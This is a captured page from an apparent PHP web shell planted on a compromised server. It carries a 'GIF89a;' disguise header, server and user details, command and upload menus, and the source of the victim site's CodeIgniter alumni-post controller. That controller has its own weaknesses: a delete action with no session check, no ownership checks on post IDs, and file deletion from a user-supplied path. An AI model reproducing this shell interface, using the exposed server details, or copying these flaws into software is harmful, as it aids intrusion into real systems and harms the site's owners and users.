GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.133.108.224 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../alumni/application/language/../controllers/user/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of User * * @author Softpro India Pvt. Ltd. */ class Post extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("user/PostManagement"); $this->load->library('pagination'); $this->load->model("admin/NotificationManagement"); } public function index() { if ($this->sessionvalidator->validateSession("userData")) { $userData = $this->session->userdata("userData"); $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result(); $viewData["posts"] = $this->PostManagement->getPosts($userData["userid"])->result(); //print_r($viewData); //exit; $this->load->view("user/posts", $viewData); } else { redirect("Home#loginModal"); } } public function createPost() { if ($this->sessionvalidator->validateSession("userData")) { $userData = $this->session->userdata("userData"); $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result(); $this->load->view("user/createPost", $viewData); } else { redirect("Home#loginModal"); } } public function savePost() { if ($this->sessionvalidator->validateSession("userData")) { $this->form_validation->set_rules("postContent", "post content", "required|max_length[10000]", array("required" => "Enter Post Content.", "max_length" => "Maximum(10000 characters) Length Exceeded.")); $this->form_validation->set_rules("postFor", "post visibility", "required", array("required" => "Select Post Visibility.")); if ($this->form_validation->run() == false) { $this->createPost(); } else if (empty($_FILES['postImg']['name'])) { $this->form_validation->set_rules('postImg', 'File', 'required', array("required" => "Select An Images To Upload.")); $this->form_validation->run(); $this->createPost(); } else { $postContent = addslashes(trim($this->input->post("postContent"))); $postFor = $this->input->post("postFor"); $postImgName; $fileConfig["upload_path"] = "./assets/user/uploads/postImages/"; $fileConfig["allowed_types"] = "jpg|png|gif|webp"; $fileConfig["max_size"] = "1024"; $fileConfig["file_ext_tolower"] = TRUE; $fileConfig["encrypt_name"] = TRUE; $this->load->library("upload", $fileConfig); if (!$this->upload->do_upload("postImg")) { $this->session->set_flashdata("errorMessage", $this->upload->display_errors()); $this->createPost(); } else { $postImgName = $this->upload->data()["file_name"]; $userData = $this->session->userdata("userData"); $postArray = array( "pst_content" => $postContent, "pst_pic" => "assets/user/uploads/postImages/" . $postImgName, "pst_for" => $postFor, "datentime" => date('Y-m-d H:i:s'), "userid" => $userData["userid"] ); if ($this->PostManagement->savePost($postArray) > 0) { $this->session->set_flashdata('successMessage', 'Post Saved Successfully'); redirect("user/Post"); } else { $this->session->set_flashdata("errorMessage", "Failed To Save Post."); $this->createPost(); } } } } else { redirect("Home#loginModal"); } } public function getPostDetails() { if ($this->sessionvalidator->validateSession("userData")) { $pst_id = $_POST["pst_id"]; $post = $this->PostManagement->getPostsByID($pst_id)->result()[0]; $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'pst_content' => $post->pst_content, 'postImg' => $post->pst_pic, 'date' => date("d-m-Y H:i:sa", strtotime($post->datentime)), 'pst_for' => $post->pst_for, ); echo json_encode($responseData); } else { redirect("Home#loginModal"); } } public function postReport($offset = 0) { if ($this->sessionvalidator->validateSession("userData")) { $userData = $this->session->userdata("userData"); // echo $this->PostManagement->getNumOfPosts($userData["userid"], $userData["user_role"]); // exit; $config = [ 'base_url' => site_url("user/Post/postReport"), 'per_page' => 5, 'total_rows' => $this->PostManagement->getNumOfPosts($userData["userid"], $userData["user_role"]), 'full_tag_open' => "<ul class='pagination justify-content-end'>", 'full_tag_close' => "</ul>", 'next_tag_open' => "<li class='page-item'>", 'next_tag_close' => "</li>", 'prev_tag_open' => "<li class='page-item'>", 'prev_tag_close' => "</li>", 'num_tag_open' => "<li class='page-item'>", 'num_tag_close' => "<li>", 'cur_tag_open' => "<li class='page-item active'><a class='page-link'>", 'cur_tag_close' => "</a></li>", 'attributes' => array('class' => 'page-link'), 'prev_link' => "Prev", 'next_link' => "Next" ]; $this->pagination->initialize($config); $userData = $this->session->userdata("userData"); $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result(); $viewData["posts"] = $this->PostManagement->getPostForReport($userData["userid"], $userData["user_role"], $config['per_page'], $offset)->result(); $viewData["offset"]=$offset; $this->load->view("user/postReport", $viewData); } else { redirect("Home#loginModal"); } } public function editPost($pst_id) { if ($this->sessionvalidator->validateSession("userData")) { $userData = $this->session->userdata("userData"); $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result(); $viewData["post"] = $this->PostManagement->getPostsByID($pst_id)->result()[0]; $this->load->view("user/editPost", $viewData); } else { redirect("Home#loginModal"); } } public function updatePost() { if ($this->sessionvalidator->validateSession("userData")) { $userData; $postArray; $postContent; $postFor; $pst_id = $this->input->post("pst_id"); $this->form_validation->set_rules("postContent", "post content", "required|max_length[10000]", array("required" => "Enter Post Content.", "max_length" => "Maximum(10000 characters) Length Exceeded.")); $this->form_validation->set_rules("postFor", "post visibility", "required", array("required" => "Select Post Visibility.")); if ($this->form_validation->run() == false) { $this->editPost($pst_id); } else if (empty($_FILES['postImg']['name'])) { $userData = $this->session->userdata("userData"); $postContent = $this->input->post("postContent"); $postFor = $this->input->post("postFor"); $postArray = array( "pst_content" => $postContent, "pst_for" => $postFor, ); if ($this->PostManagement->updatePost($postArray, $pst_id) > 0) { $this->session->set_flashdata('successMessage', 'Post Updated Successfully'); redirect("user/Post"); } else { $this->session->set_flashdata("errorMessage", "Failed To Update Post."); $this->editPost($pst_id); } } else { $postContent = $this->input->post("postContent"); $postFor = $this->input->post("postFor"); $postImgName; $fileConfig["upload_path"] = "./assets/user/uploads/postImages/"; $fileConfig["allowed_types"] = "jpg|png|gif|webp"; $fileConfig["max_size"] = "1024"; $fileConfig["file_ext_tolower"] = TRUE; $fileConfig["encrypt_name"] = TRUE; $this->load->library("upload", $fileConfig); if (!$this->upload->do_upload("postImg")) { $this->session->set_flashdata("errorMessage", $this->upload->display_errors()); $this->editPost($pst_id); } else { $postImgName = $this->upload->data()["file_name"]; $userData = $this->session->userdata("userData"); $postArray = array( "pst_content" => $postContent, "pst_pic" => "assets/user/uploads/postImages/" . $postImgName, "pst_for" => $postFor ); if ($this->PostManagement->updatePost($postArray, $pst_id) > 0) { if (file_exists("./" . $this->input->post("currentPostImg"))) { unlink("./" . $this->input->post("currentPostImg")); } $this->session->set_flashdata('successMessage', 'Post Updated Successfully'); redirect("user/Post"); } else { $this->session->set_flashdata("errorMessage", "Failed To Update Post."); $this->editPost($pst_id); } } } } else { redirect("Home#loginModal"); } } public function deletePost($pst_id) { //$post = $this->PostManagement->getPostsByID($pst_id)->result()[0]; $postData = array("pst_delete_status" => "t"); if ($this->PostManagement->updatePost($postData, $pst_id)) { // if (file_exists("./" . $post->pst_pic)) { // unlink("./" . $post->pst_pic); // } $this->session->set_flashdata("successMessage", "Post Deleted Successfully."); redirect("user/Post"); } else { $this->session->set_flashdata("errorMessage", "Failed To Delete Post."); $this->index(); } } public function reportPost($pst_id, $reportCount,$offset) { if ($this->sessionvalidator->validateSession("userData")) { $postArray=array("pst_report_count"=>($reportCount+1)); if ($this->PostManagement->updatePost($postArray, $pst_id) > 0) { $this->session->set_flashdata('successMessage', 'Post Reported Successfully'); redirect("user/Post/postReport/$offset"); } else { $this->session->set_flashdata("errorMessage", "Failed To Report Post."); $this->postReport(); } } else { redirect("Home#loginModal"); } } }